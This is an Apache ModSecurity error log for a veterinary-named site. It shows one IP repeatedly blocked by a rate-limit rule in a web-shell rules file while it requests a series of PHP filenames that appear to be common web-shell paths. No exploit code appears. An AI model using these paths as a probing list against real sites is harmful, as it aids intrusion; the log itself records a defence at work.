[Wed Apr 01 21:26:12.958646 2026] [:error] [pid 8909:tid 8947] [client 23.101.55.68:60728] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wmore1.php"] [unique_id "ac0c9DvP_a0662gDl6DY7QAAAMY"]
[Wed Apr 01 21:26:13.463470 2026] [:error] [pid 8909:tid 8952] [client 23.101.55.68:47192] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx79.php"] [unique_id "ac0c9TvP_a0662gDl6DY7gAAAMs"]
[Wed Apr 01 21:26:13.969883 2026] [:error] [pid 8909:tid 8956] [client 23.101.55.68:65386] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx79.php"] [unique_id "ac0c9TvP_a0662gDl6DY8AAAAM8"]
[Wed Apr 01 21:26:14.478057 2026] [:error] [pid 8909:tid 8955] [client 23.101.55.68:41425] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx79.php"] [unique_id "ac0c9jvP_a0662gDl6DY8gAAAM4"]
[Wed Apr 01 21:26:14.979222 2026] [:error] [pid 8909:tid 8962] [client 23.101.55.68:32564] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx79.php"] [unique_id "ac0c9jvP_a0662gDl6DY9wAAANU"]
[Wed Apr 01 21:26:15.485840 2026] [:error] [pid 8910:tid 8976] [client 23.101.55.68:45323] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ac0c96JZINUcF3tYgExnawAAAQg"]
[Wed Apr 01 21:26:15.989998 2026] [:error] [pid 17856:tid 17880] [client 23.101.55.68:30919] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ac0c9z7Idlm5j9frhqRAmwAAAFY"]
[Wed Apr 01 21:26:16.490827 2026] [:error] [pid 17856:tid 17862] [client 23.101.55.68:45336] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ac0c-D7Idlm5j9frhqRAoQAAAEQ"]
[Wed Apr 01 21:26:16.995339 2026] [:error] [pid 17856:tid 17872] [client 23.101.55.68:65375] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ac0c-D7Idlm5j9frhqRApAAAAE4"]
[Wed Apr 01 21:26:17.495859 2026] [:error] [pid 8909:tid 8953] [client 23.101.55.68:30968] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/less.php"] [unique_id "ac0c-TvP_a0662gDl6DY_AAAAMw"]
[Wed Apr 01 21:26:18.009367 2026] [:error] [pid 17856:tid 17869] [client 23.101.55.68:30956] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/less.php"] [unique_id "ac0c-j7Idlm5j9frhqRArwAAAEs"]
[Wed Apr 01 21:26:18.510131 2026] [:error] [pid 8908:tid 8936] [client 23.101.55.68:43984] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/less.php"] [unique_id "ac0c-vkmxtJXGnLdvgCTsAAAAJc"]
[Wed Apr 01 21:26:19.011412 2026] [:error] [pid 8995:tid 9002] [client 23.101.55.68:57504] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/less.php"] [unique_id "ac0c--onaBjs3qxcRefQVgAAAAQ"]
[Wed Apr 01 21:26:19.514102 2026] [:error] [pid 17856:tid 17862] [client 23.101.55.68:56383] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/t2gorhwasq4vioshtatw5eCdefault.php"] [unique_id "ac0c-z7Idlm5j9frhqRAuAAAAEQ"]
[Wed Apr 01 21:26:20.013520 2026] [:error] [pid 17856:tid 17871] [client 23.101.55.68:60327] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/t2gorhwasq4vioshtatw5eCdefault.php"] [unique_id "ac0c_D7Idlm5j9frhqRAvQAAAE0"]
[Wed Apr 01 21:26:20.515526 2026] [:error] [pid 8910:tid 8980] [client 23.101.55.68:58295] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/t2gorhwasq4vioshtatw5eCdefault.php"] [unique_id "ac0c_KJZINUcF3tYgExncAAAAQw"]
[Wed Apr 01 21:26:21.026618 2026] [:error] [pid 8910:tid 8971] [client 23.101.55.68:62225] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/t2gorhwasq4vioshtatw5eCdefault.php"] [unique_id "ac0c_aJZINUcF3tYgExndAAAAQM"]
[Wed Apr 01 21:26:21.531201 2026] [:error] [pid 17856:tid 17861] [client 23.101.55.68:65394] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new3.php"] [unique_id "ac0c_T7Idlm5j9frhqRAxgAAAEM"]
[Wed Apr 01 21:26:22.032886 2026] [:error] [pid 8995:tid 8999] [client 23.101.55.68:60679] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new3.php"] [unique_id "ac0c_uonaBjs3qxcRefQWwAAAAE"]
[Wed Apr 01 21:26:22.553086 2026] [:error] [pid 8908:tid 8933] [client 23.101.55.68:65372] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new3.php"] [unique_id "ac0c_vkmxtJXGnLdvgCTsgAAAJQ"]
[Wed Apr 01 21:26:23.056819 2026] [:error] [pid 8910:tid 8982] [client 23.101.55.68:52420] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new3.php"] [unique_id "ac0c_6JZINUcF3tYgExndgAAAQ4"]
[Wed Apr 01 21:26:23.560620 2026] [:error] [pid 8910:tid 8977] [client 23.101.55.68:50288] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xy.php"] [unique_id "ac0c_6JZINUcF3tYgExnewAAAQk"]
[Wed Apr 01 21:26:24.064182 2026] [:error] [pid 8908:tid 8929] [client 23.101.55.68:50274] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xy.php"] [unique_id "ac0dAPkmxtJXGnLdvgCTswAAAJA"]
[Wed Apr 01 21:26:24.563751 2026] [:error] [pid 8908:tid 8913] [client 23.101.55.68:60698] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xy.php"] [unique_id "ac0dAPkmxtJXGnLdvgCTtQAAAIA"]
[Wed Apr 01 21:26:25.069907 2026] [:error] [pid 17856:tid 17861] [client 23.101.55.68:54322] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xy.php"] [unique_id "ac0dAT7Idlm5j9frhqRAzQAAAEM"]
[Wed Apr 01 21:26:25.577612 2026] [:error] [pid 17856:tid 17870] [client 23.101.55.68:62253] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rogsa.php"] [unique_id "ac0dAT7Idlm5j9frhqRA0QAAAEw"]
[Wed Apr 01 21:26:26.087903 2026] [:error] [pid 17856:tid 17866] [client 23.101.55.68:50292] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rogsa.php"] [unique_id "ac0dAj7Idlm5j9frhqRA1QAAAEg"]
[Wed Apr 01 21:26:26.603934 2026] [:error] [pid 8908:tid 8918] [client 23.101.55.68:57525] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rogsa.php"] [unique_id "ac0dAvkmxtJXGnLdvgCTvQAAAIU"]
[Wed Apr 01 21:26:27.107536 2026] [:error] [pid 17856:tid 17870] [client 23.101.55.68:58264] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rogsa.php"] [unique_id "ac0dAz7Idlm5j9frhqRA4QAAAEw"]
[Wed Apr 01 21:26:27.617557 2026] [:error] [pid 62559:tid 62570] [client 23.101.55.68:58243] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/htzevfl4k9ey5hoaywdwiCdefault.php"] [unique_id "ac0dAy7NKI8IaNKZFIenLwAAAUk"]
[Wed Apr 01 21:27:36.921886 2026] [:error] [pid 17856:tid 17880] [client 23.101.55.68:56410] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wziar1.php"] [unique_id "ac0dSD7Idlm5j9frhqRB7AAAAFY"]
[Wed Apr 01 21:27:37.426037 2026] [:error] [pid 8909:tid 8952] [client 23.101.55.68:51423] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wziar1.php"] [unique_id "ac0dSTvP_a0662gDl6DZtAAAAMs"]
[Wed Apr 01 21:27:37.937007 2026] [:error] [pid 62559:tid 62564] [client 23.101.55.68:45844] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wziar1.php"] [unique_id "ac0dSS7NKI8IaNKZFIenngAAAUM"]
[Wed Apr 01 21:27:38.443178 2026] [:error] [pid 17856:tid 17868] [client 23.101.55.68:51820] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wziar1.php"] [unique_id "ac0dSj7Idlm5j9frhqRB8QAAAEo"]
[Wed Apr 01 21:27:38.956053 2026] [:error] [pid 17856:tid 17874] [client 23.101.55.68:45860] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fsgdjkl.php"] [unique_id "ac0dSj7Idlm5j9frhqRB8wAAAFA"]
[Wed Apr 01 21:27:39.458133 2026] [:error] [pid 62559:tid 62565] [client 23.101.55.68:46213] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fsgdjkl.php"] [unique_id "ac0dSy7NKI8IaNKZFIenpQAAAUQ"]
[Wed Apr 01 21:27:39.963161 2026] [:error] [pid 8908:tid 8925] [client 23.101.55.68:65375] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fsgdjkl.php"] [unique_id "ac0dS_kmxtJXGnLdvgCUEgAAAIw"]
[Wed Apr 01 21:27:40.465656 2026] [:error] [pid 17856:tid 17872] [client 23.101.55.68:43965] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fsgdjkl.php"] [unique_id "ac0dTD7Idlm5j9frhqRB-QAAAE4"]
[Wed Apr 01 21:27:40.969899 2026] [:error] [pid 17856:tid 17867] [client 23.101.55.68:43725] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "ac0dTD7Idlm5j9frhqRB-wAAAEk"]
[Wed Apr 01 21:27:41.469362 2026] [:error] [pid 17856:tid 17882] [client 23.101.55.68:56990] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "ac0dTT7Idlm5j9frhqRB_QAAAFg"]
[Wed Apr 01 21:27:41.975848 2026] [:error] [pid 17856:tid 17866] [client 23.101.55.68:46236] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "ac0dTT7Idlm5j9frhqRB_wAAAEg"]
[Wed Apr 01 21:27:42.477040 2026] [:error] [pid 8909:tid 8943] [client 23.101.55.68:55753] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "ac0dTjvP_a0662gDl6DZwAAAAMI"]
[Wed Apr 01 21:27:42.982484 2026] [:error] [pid 17856:tid 17876] [client 23.101.55.68:52936] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX2.php"] [unique_id "ac0dTj7Idlm5j9frhqRCBgAAAFI"]
[Wed Apr 01 21:27:43.481618 2026] [:error] [pid 8908:tid 8923] [client 23.101.55.68:49712] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX2.php"] [unique_id "ac0dT_kmxtJXGnLdvgCUGQAAAIo"]
[Wed Apr 01 21:27:43.989456 2026] [:error] [pid 8909:tid 8961] [client 23.101.55.68:46217] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX2.php"] [unique_id "ac0dTzvP_a0662gDl6DZxQAAANQ"]
[Wed Apr 01 21:27:44.489071 2026] [:error] [pid 8909:tid 8954] [client 23.101.55.68:64281] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX2.php"] [unique_id "ac0dUDvP_a0662gDl6DZyQAAAM0"]
[Wed Apr 01 21:27:45.011650 2026] [:error] [pid 8995:tid 9016] [client 23.101.55.68:64260] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a8.php"] [unique_id "ac0dUeonaBjs3qxcRefQtAAAABI"]
[Wed Apr 01 21:27:45.513782 2026] [:error] [pid 62559:tid 62565] [client 23.101.55.68:8624] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a8.php"] [unique_id "ac0dUS7NKI8IaNKZFIenrgAAAUQ"]
[Wed Apr 01 21:27:46.016366 2026] [:error] [pid 8908:tid 8932] [client 23.101.55.68:63239] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a8.php"] [unique_id "ac0dUvkmxtJXGnLdvgCUHAAAAJM"]
[Wed Apr 01 21:27:46.516702 2026] [:error] [pid 62559:tid 62569] [client 23.101.55.68:39486] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a8.php"] [unique_id "ac0dUi7NKI8IaNKZFIensQAAAUg"]
[Wed Apr 01 21:27:47.026829 2026] [:error] [pid 17856:tid 17863] [client 23.101.55.68:5150] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac0dUz7Idlm5j9frhqRCEgAAAEU"]
[Wed Apr 01 21:27:47.531081 2026] [:error] [pid 17856:tid 17882] [client 23.101.55.68:52928] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac0dUz7Idlm5j9frhqRCFgAAAFg"]
[Wed Apr 01 21:27:48.057200 2026] [:error] [pid 8908:tid 8924] [client 23.101.55.68:64262] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac0dVPkmxtJXGnLdvgCUHwAAAIs"]
[Wed Apr 01 21:27:48.558295 2026] [:error] [pid 8909:tid 8955] [client 23.101.55.68:63243] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac0dVDvP_a0662gDl6DZ1gAAAM4"]
[Wed Apr 01 21:27:49.081545 2026] [:error] [pid 8909:tid 8963] [client 23.101.55.68:41223] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ortasekerli1.php"] [unique_id "ac0dVTvP_a0662gDl6DZ2AAAANY"]
